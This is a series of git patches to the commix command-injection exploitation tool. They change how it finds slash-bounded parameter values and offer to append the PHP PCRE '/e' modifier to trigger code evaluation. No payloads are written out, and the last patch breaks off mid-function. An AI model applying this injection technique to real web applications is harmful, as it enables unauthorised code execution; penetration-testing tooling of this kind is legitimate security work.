+ _ = get_value_inside_boundaries(value)
+ while True:
+ message = "Do you want to inject inside? ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "')? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ settings.INJECT_INSIDE_BOUNDARIES = True
+ return _
+ elif procced_option in settings.CHOICE_NO:
+ settings.INJECT_INSIDE_BOUNDARIES = False
+ return ""
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(procced_option)
+ pass
+
+ message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
+ sys.stdout.write(settings.print_message(message))
+ if menu.options.skip_parameter != None :
+ for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter):
+ return value
+
+ elif menu.options.test_parameter != None :
+ for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter):
+ if parameter.split("=")[0] == test_parameter:
+ return check_boundaries_value(test_parameter, value, http_request_method)
+ else:
+ return value
else:
- common.invalid_option(procced_option)
- pass
- return value
+ return check_boundaries_value(parameter, value, http_request_method)
+
+"""
+Add the PCRE '/e' modifier outside boundaries.
+"""
+def PCRE_e_modifier(parameter):
+ if not settings.PCRE_MODIFIER in parameter:
+ while True:
+ message = "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "')? [Y/n] > "
+ modifier_check = common.read_input(message, default="Y", check_batch=True)
+ if modifier_check in settings.CHOICE_YES:
+ return parameter[:-1] + settings.PCRE_MODIFIER
+ elif modifier_check in settings.CHOICE_NO:
+ return parameter
+ elif modifier_check in settings.CHOICE_QUIT:
+ print(settings.SINGLE_WHITESPACE)
+ os._exit(0)
+ else:
+ common.invalid_option(modifier_check)
+ pass
"""
Ignoring the anti-CSRF parameter(s).
@@ -764,35 +803,6 @@ def check_CGI_scripts(url):
if not _:
menu.options.shellshock = False
-"""
-Add the PCRE_REPLACE_EVAL (/e) modifier
-"""
-def add_PCRE_REPLACE_EVAL_modifier(url):
- try:
- if re.findall(r"=/(.*)/&", url) or re.findall(r"=/(.*)/&", menu.options.data):
- while True:
- message = "Do you want to add the PCRE_REPLACE_EVAL (/e) modifier outside boundaries? [Y/n] > "
- modifier_check = common.read_input(message, default="Y", check_batch=True)
- settings.PCRE_REPLACE_EVAL = True
- if modifier_check in settings.CHOICE_YES:
- if re.findall(r"=(.*)&", url):
- url = url.replace("/&", "/e&")
- elif re.findall(r"=(.*)&", menu.options.data):
- menu.options.data = menu.options.data.replace("/&", "/e&")
- return url
- elif modifier_check in settings.CHOICE_NO:
- return url
- elif modifier_check in settings.CHOICE_QUIT:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- else:
- common.invalid_option(shellshock_check)
- pass
- except TypeError as err_msg:
- pass
-
- return url
-
"""
Check if http / https.
"""
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 8a10ea3c2a..8af52ef40c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -132,13 +132,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
Heuristic (basic) tests for code injection warnings
"""
def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
- settings.PCRE_REPLACE_EVAL = False
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ""
settings.EVAL_BASED_STATE = True
try:
- url = checks.add_PCRE_REPLACE_EVAL_modifier(url)
if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
@@ -228,8 +226,6 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met
# Check if it's exploitable via dynamic code evaluation technique.
def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method):
- if not settings.PCRE_REPLACE_EVAL:
- url = checks.add_PCRE_REPLACE_EVAL_modifier(url)
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
if not settings.SKIP_CODE_INJECTIONS:
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index c686c88697..6055fd7dee 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -82,7 +82,8 @@ def do_GET_check(url, http_request_method):
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(multi_parameters, value, http_request_method)
+ value = checks.value_boundaries(parameters, value, http_request_method)
+ parameters = checks.PCRE_e_modifier(parameters)
# Replace the value of parameter with INJECT_HERE tag
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in parameters:
@@ -128,6 +129,7 @@ def do_GET_check(url, http_request_method):
continue
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(all_params[param], value, http_request_method)
+ all_params[param] = checks.PCRE_e_modifier(all_params[param])
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
@@ -151,7 +153,7 @@ def do_GET_check(url, http_request_method):
# Reconstruct the URL
url = url_part + "?" + parameter
urls_list.append(url)
-
+
return urls_list
"""
@@ -174,14 +176,14 @@ def vuln_GET_param(url):
vuln_parameter = pairs[param].split("=")[0]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
- settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE)
+ settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
else:
vuln_parameter = url
-
+
return vuln_parameter
"""
@@ -254,6 +256,7 @@ def do_POST_check(parameter, http_request_method):
return parameter
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(parameter, value, http_request_method)
+ parameter = checks.PCRE_e_modifier(parameter)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if settings.IS_JSON:
@@ -275,6 +278,7 @@ def do_POST_check(parameter, http_request_method):
# Check for similarity in provided parameter name and value.
all_params = all_params.split(settings.PARAMETER_DELIMITER)
all_params = checks.check_similarities(all_params)
+
# Check if not defined the "INJECT_HERE" tag in parameter
if settings.INJECT_TAG not in parameter:
if checks.is_empty(multi_parameters, http_request_method):
@@ -308,6 +312,7 @@ def do_POST_check(parameter, http_request_method):
continue
if re.search(settings.VALUE_BOUNDARIES, value):
value = checks.value_boundaries(all_params[param], value, http_request_method)
+ all_params[param] = checks.PCRE_e_modifier(all_params[param])
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
@@ -380,7 +385,7 @@ def vuln_POST_param(parameter, url):
vuln_parameter = pairs[param].split("=")[0]
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES:
- settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE)
+ settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE)
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 69241fe3fe..f420248539 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "38"
+REVISION = "39"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -283,7 +283,7 @@ def sys_argv_errors():
INJECT_TAG = "INJECT_HERE"
INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE"
VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]'
-INJECT_INSIDE_BOUNDARIES = True
+INJECT_INSIDE_BOUNDARIES = None
# Default (windows) target host's python interpreter
WIN_PYTHON_INTERPRETER = "python.exe"
@@ -1232,6 +1232,7 @@ def sys_argv_errors():
CHECKING_PARAMETER = ""
-PCRE_REPLACE_EVAL = False
+USE_PCRE_E_MODIFIER = None
+PCRE_MODIFIER = "/e"
# eof
\ No newline at end of file
From bed7e71ccf3fdd5eb26839271c69084a2b26ebd5 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 15 Jan 2023 11:21:39 +0200
Subject: [PATCH 257/560] Update regarding commit:
https://github.com/commixproject/commix/commit/fde2d6ae19bd671dc00405e2c2ad1725623862b1
---
src/core/injections/controller/checks.py | 74 ++++++++++++++------
src/core/injections/controller/controller.py | 2 -
src/core/main.py | 30 +-------
src/core/requests/parameters.py | 73 +++++++++++--------
src/utils/settings.py | 2 +-
5 files changed, 99 insertions(+), 82 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 63c945bf94..e74b2e4fee 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -257,7 +257,8 @@ def value_boundaries(parameter, value, http_request_method):
def check_boundaries_value(parameter, value, http_request_method):
_ = get_value_inside_boundaries(value)
while True:
- message = "Do you want to inject inside? ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "')? [Y/n] > "
+ message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?"
+ message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.INJECT_INSIDE_BOUNDARIES = True
@@ -271,11 +272,12 @@ def check_boundaries_value(parameter, value, http_request_method):
common.invalid_option(procced_option)
pass
- message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
- sys.stdout.write(settings.print_message(message))
- if menu.options.skip_parameter != None :
+ if menu.options.skip_parameter != None:
for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter):
- return value
+ if parameter.split("=")[0] != skip_parameter:
+ return check_boundaries_value(skip_parameter, value, http_request_method)
+ else:
+ return value
elif menu.options.test_parameter != None :
for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter):
@@ -289,21 +291,24 @@ def check_boundaries_value(parameter, value, http_request_method):
"""
Add the PCRE '/e' modifier outside boundaries.
"""
-def PCRE_e_modifier(parameter):
+def PCRE_e_modifier(parameter, http_request_method):
if not settings.PCRE_MODIFIER in parameter:
- while True:
- message = "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "')? [Y/n] > "
- modifier_check = common.read_input(message, default="Y", check_batch=True)
- if modifier_check in settings.CHOICE_YES:
- return parameter[:-1] + settings.PCRE_MODIFIER
- elif modifier_check in settings.CHOICE_NO:
- return parameter
- elif modifier_check in settings.CHOICE_QUIT:
- print(settings.SINGLE_WHITESPACE)
- os._exit(0)
- else:
- common.invalid_option(modifier_check)
- pass
+ if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]:
+ while True:
+ message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. "
+ message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "') [Y/n] > "
+ modifier_check = common.read_input(message, default="Y", check_batch=True)
+ if modifier_check in settings.CHOICE_YES:
+ return parameter[:-1] + settings.PCRE_MODIFIER
+ elif modifier_check in settings.CHOICE_NO:
+ return parameter
+ elif modifier_check in settings.CHOICE_QUIT:
+ print(settings.SINGLE_WHITESPACE)
+ os._exit(0)
+ else:
+ common.invalid_option(modifier_check)
+ pass
+ return parameter
"""
Ignoring the anti-CSRF parameter(s).
@@ -996,12 +1001,35 @@ def wildcard_character(data):
return data
"""
-Skip defined
+Check provided parameters for tests
"""
-def check_skipped_params(check_parameters):
+def check_provided_parameters():
+ if menu.options.test_parameter or menu.options.skip_parameter:
+ if menu.options.test_parameter != None :
+ if menu.options.test_parameter.startswith("="):
+ menu.options.test_parameter = menu.options.test_parameter[1:]
+ settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
+
+ elif menu.options.skip_parameter != None :
+ if menu.options.skip_parameter.startswith("="):
+ menu.options.skip_parameter = menu.options.skip_parameter[1:]
+ settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
+
+ for i in range(0,len(settings.TEST_PARAMETER)):
+ if "=" in settings.TEST_PARAMETER[i]:
+ settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
+
+"""
+Check defined skipped parameters
+"""
+def check_skipped_params(check_parameters, http_request_method):
settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER]
+ for parameter in check_parameters:
+ if parameter in ",".join(settings.TEST_PARAMETER).split(","):
+ info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'."
+ print(settings.print_info_msg(info_msg))
settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")]
- settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER)
+ settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER)
menu.options.test_parameter = True
"""
@@ -1054,7 +1082,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name):
print(settings.print_warning_msg(warn_msg))
if menu.options.skip_parameter != None:
- check_skipped_params(check_parameters)
+ check_skipped_params(check_parameters, http_request_method)
"""
Only time-relative injection techniques support tamper
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 8af52ef40c..46c2a0acd3 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -44,7 +44,6 @@
Check for previously stored sessions.
"""
def check_for_stored_sessions(url, http_request_method):
-
if not menu.options.ignore_session:
if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION:
if not menu.options.tech:
@@ -59,7 +58,6 @@ def check_for_stored_sessions(url, http_request_method):
Check for previously stored injection level.
"""
def check_for_stored_levels(url, http_request_method):
-
if not menu.options.ignore_session:
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
menu.options.level = session_handler.applied_levels(url, http_request_method)
diff --git a/src/core/main.py b/src/core/main.py
index ef41c3a7c4..d2e21162fb 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -417,20 +417,7 @@ def main(filename, url):
session_handler.ignore(url)
# Check provided parameters for tests
- if menu.options.test_parameter or menu.options.skip_parameter:
- if menu.options.test_parameter != None :
- if menu.options.test_parameter.startswith("="):
- menu.options.test_parameter = menu.options.test_parameter[1:]
- settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
-
- elif menu.options.skip_parameter != None :
- if menu.options.skip_parameter.startswith("="):
- menu.options.skip_parameter = menu.options.skip_parameter[1:]
- settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
-
- for i in range(0,len(settings.TEST_PARAMETER)):
- if "=" in settings.TEST_PARAMETER[i]:
- settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
+ checks.check_provided_parameters()
# Check injection level, due to the provided testable parameters.
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \
@@ -840,20 +827,7 @@ def main(filename, url):
settings.INJECT_TAG = inject_tag_regex_match.group(0)
# Check provided parameters for tests
- if menu.options.test_parameter or menu.options.skip_parameter:
- if menu.options.test_parameter != None :
- if menu.options.test_parameter.startswith("="):
- menu.options.test_parameter = menu.options.test_parameter[1:]
- settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
-
- elif menu.options.skip_parameter != None :
- if menu.options.skip_parameter.startswith("="):
- menu.options.skip_parameter = menu.options.skip_parameter[1:]
- settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)
-
- for i in range(0,len(settings.TEST_PARAMETER)):
- if "=" in settings.TEST_PARAMETER[i]:
- settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
+ checks.check_provided_parameters()
if menu.options.level != settings.DEFAULT_INJECTION_LEVEL:
settings.USER_SUPPLIED_LEVEL = menu.options.level
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 6055fd7dee..07a12cad5b 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -36,6 +36,14 @@ def get_url_part(url):
Check if the 'INJECT_HERE' tag, is specified on GET Requests.
"""
def do_GET_check(url, http_request_method):
+ """
+ Grab the value of parameter.
+ """
+ def multi_params_get_value(param, all_params):
+ value = re.findall(r'=(.*)', all_params[param])
+ value = ''.join(value)
+ return value
+
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
url = checks.wildcard_character(url)
@@ -82,8 +90,8 @@ def do_GET_check(url, http_request_method):
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if re.search(settings.VALUE_BOUNDARIES, value):
+ parameters = checks.PCRE_e_modifier(parameters, http_request_method)
value = checks.value_boundaries(parameters, value, http_request_method)
- parameters = checks.PCRE_e_modifier(parameters)
# Replace the value of parameter with INJECT_HERE tag
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in parameters:
@@ -115,6 +123,11 @@ def do_GET_check(url, http_request_method):
all_params = checks.check_similarities(all_params)
# Check if defined the "INJECT_HERE" tag
if settings.INJECT_TAG not in url:
+ for param in range(0,len(all_params)):
+ # Grab the value of parameter.
+ value = multi_params_get_value(param, all_params)
+ if re.search(settings.VALUE_BOUNDARIES, value):
+ all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method)
for param in range(0,len(all_params)):
if param == 0 :
old = re.findall(r'=(.*)', all_params[param])
@@ -122,22 +135,18 @@ def do_GET_check(url, http_request_method):
else :
old = value
# Grab the value of parameter.
- value = re.findall(r'=(.*)', all_params[param])
- value = ''.join(value)
+ value = multi_params_get_value(param, all_params)
+ if re.search(settings.VALUE_BOUNDARIES, value):
+ value = checks.value_boundaries(all_params[param], value, http_request_method)
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
- if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(all_params[param], value, http_request_method)
- all_params[param] = checks.PCRE_e_modifier(all_params[param])
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
- # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
@@ -153,14 +162,13 @@ def do_GET_check(url, http_request_method):
# Reconstruct the URL
url = url_part + "?" + parameter
urls_list.append(url)
-
+
return urls_list
"""
Define the vulnerable GET parameter.
"""
def vuln_GET_param(url):
-
# Define the vulnerable parameter
if "?" not in url:
# Grab the value of parameter.
@@ -180,7 +188,6 @@ def vuln_GET_param(url):
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
-
else:
vuln_parameter = url
@@ -190,6 +197,23 @@ def vuln_GET_param(url):
Check if the 'INJECT_HERE' tag, is specified on POST Requests.
"""
def do_POST_check(parameter, http_request_method):
+ """
+ Grab the value of parameter.
+ """
+ def multi_params_get_value(param, all_params):
+ if settings.IS_JSON:
+ value = re.findall(r'\:(.*)', all_params[param])
+ if re.findall(r'\\"(.*)\\"', value[0]):
+ value = re.findall(r'\\"(.*)\\"', value[0])
+ value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value))
+ elif settings.IS_XML:
+ value = re.findall(r'>(.*)', all_params[param])
+ value = ''.join(value)
+ else:
+ value = re.findall(r'=(.*)', all_params[param])
+ value = ''.join(value)
+ return value
+
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
parameter = checks.wildcard_character(parameter).replace("'","\"")
# Check if JSON Object.
@@ -255,8 +279,8 @@ def do_POST_check(parameter, http_request_method):
if checks.ignore_anticsrf_parameter(parameter):
return parameter
if re.search(settings.VALUE_BOUNDARIES, value):
+ parameter = checks.PCRE_e_modifier(parameter, http_request_method)
value = checks.value_boundaries(parameter, value, http_request_method)
- parameter = checks.PCRE_e_modifier(parameter)
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if settings.IS_JSON:
@@ -283,6 +307,11 @@ def do_POST_check(parameter, http_request_method):
if settings.INJECT_TAG not in parameter:
if checks.is_empty(multi_parameters, http_request_method):
return parameter
+ for param in range(0, len(all_params)):
+ # Grab the value of parameter.
+ value = multi_params_get_value(param, all_params)
+ if re.search(settings.VALUE_BOUNDARIES, value):
+ all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method)
for param in range(0, len(all_params)):
if param == 0 :
if settings.IS_JSON:
@@ -296,23 +325,13 @@ def do_POST_check(parameter, http_request_method):
old = ''.join(old)
else :
old = value
- if settings.IS_JSON:
- value = re.findall(r'\:(.*)', all_params[param])
- if re.findall(r'\\"(.*)\\"', value[0]):
- value = re.findall(r'\\"(.*)\\"', value[0])
- value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value))
- elif settings.IS_XML:
- value = re.findall(r'>(.*)', all_params[param])
- value = ''.join(value)
- else:
- value = re.findall(r'=(.*)', all_params[param])
- value = ''.join(value)
+ # Grab the value of parameter.
+ value = multi_params_get_value(param, all_params)
+ if re.search(settings.VALUE_BOUNDARIES, value):
+ value = checks.value_boundaries(all_params[param], value, http_request_method)
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
- if re.search(settings.VALUE_BOUNDARIES, value):
- value = checks.value_boundaries(all_params[param], value, http_request_method)
- all_params[param] = checks.PCRE_e_modifier(all_params[param])
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
@@ -324,8 +343,6 @@ def do_POST_check(parameter, http_request_method):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
- # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
parameter = parameter.replace(settings.RANDOM_TAG,"")
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f420248539..fecf28421a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "39"
+REVISION = "40"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 881057f1c0643cca006d5d2cae916a1b0ea6faed Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 16 Jan 2023 08:28:47 +0200
Subject: [PATCH 258/560] Minor update
---
src/core/requests/parameters.py | 16 ++++++++--------
src/utils/settings.py | 2 +-
2 files changed, 9 insertions(+), 9 deletions(-)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 07a12cad5b..89ffebc764 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -102,14 +102,14 @@ def multi_params_get_value(param, all_params):
parameters = parameters + settings.INJECT_TAG
else:
parameters = parameters.replace(value, value + settings.INJECT_TAG)
- else:
- # Auto-recognize prefix / suffix
- if settings.INJECT_TAG in value:
- if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0:
- menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0]
- if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0:
- menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1]
- parameters = parameters.replace(value, value + settings.INJECT_TAG)
+ # else:
+ # # Auto-recognize prefix / suffix
+ # if settings.INJECT_TAG in value:
+ # if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0:
+ # menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0]
+ # if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0:
+ # menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1]
+ # parameters = parameters.replace(value, value + settings.INJECT_TAG)
# Reconstruct the URL
url = url_part + "?" + parameters
urls_list.append(url)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fecf28421a..f2c689add8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "40"
+REVISION = "41"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 0ddba4e5fa0ea60c92134255cdb6d4ff30d62344 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 17 Jan 2023 07:42:05 +0200
Subject: [PATCH 259/560] Triviial update
---
src/core/injections/controller/checks.py | 73 +++++++++++++++++++-
src/core/injections/controller/controller.py | 2 +-
src/core/main.py | 70 +------------------
src/utils/settings.py | 2 +-
4 files changed, 73 insertions(+), 74 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index e74b2e4fee..3de19d9e25 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -53,6 +53,63 @@
except:
settings.READLINE_ERROR = True
+"""
+Check for custom injection marker (*)
+"""
+def check_custom_injection_marker(url):
+ if url and settings.WILDCARD_CHAR in url:
+ option = "'-u'"
+ settings.WILDCARD_CHAR_APPLIED = True
+ elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data:
+ option = "POST body"
+ settings.WILDCARD_CHAR_APPLIED = True
+ else:
+ option = "option '--headers/--user-agent/--referer/--cookie'"
+ if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
+
+ elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+
+ elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+
+ elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
+ _ = True
+ for data in menu.options.headers.split("\\n"):
+ # Ignore the Accept HTTP Header
+ if not data.startswith(settings.ACCEPT):
+ _ = False
+ if _:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+
+ if settings.WILDCARD_CHAR_APPLIED:
+ if menu.options.test_parameter:
+ if not settings.MULTI_TARGETS or settings.STDIN_PARSING:
+ err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
+ err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit
+
+ while True:
+ message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". "
+ message += "Do you want to process it? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ return
+ elif procced_option in settings.CHOICE_NO:
+ settings.WILDCARD_CHAR_APPLIED = None
+ return
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(procced_option)
+ pass
+
"""
The available mobile user agents.
"""
@@ -256,6 +313,13 @@ def get_value_inside_boundaries(value):
def value_boundaries(parameter, value, http_request_method):
def check_boundaries_value(parameter, value, http_request_method):
_ = get_value_inside_boundaries(value)
+
+ if settings.INJECT_TAG in _:
+ settings.INJECT_INSIDE_BOUNDARIES = False
+ return ""
+ if settings.INJECT_TAG in value:
+ settings.INJECT_INSIDE_BOUNDARIES = True
+ return _
while True:
message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?"
message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > "
@@ -292,16 +356,19 @@ def check_boundaries_value(parameter, value, http_request_method):
Add the PCRE '/e' modifier outside boundaries.
"""
def PCRE_e_modifier(parameter, http_request_method):
+ original_parameter = parameter
+ if settings.INJECT_TAG in parameter:
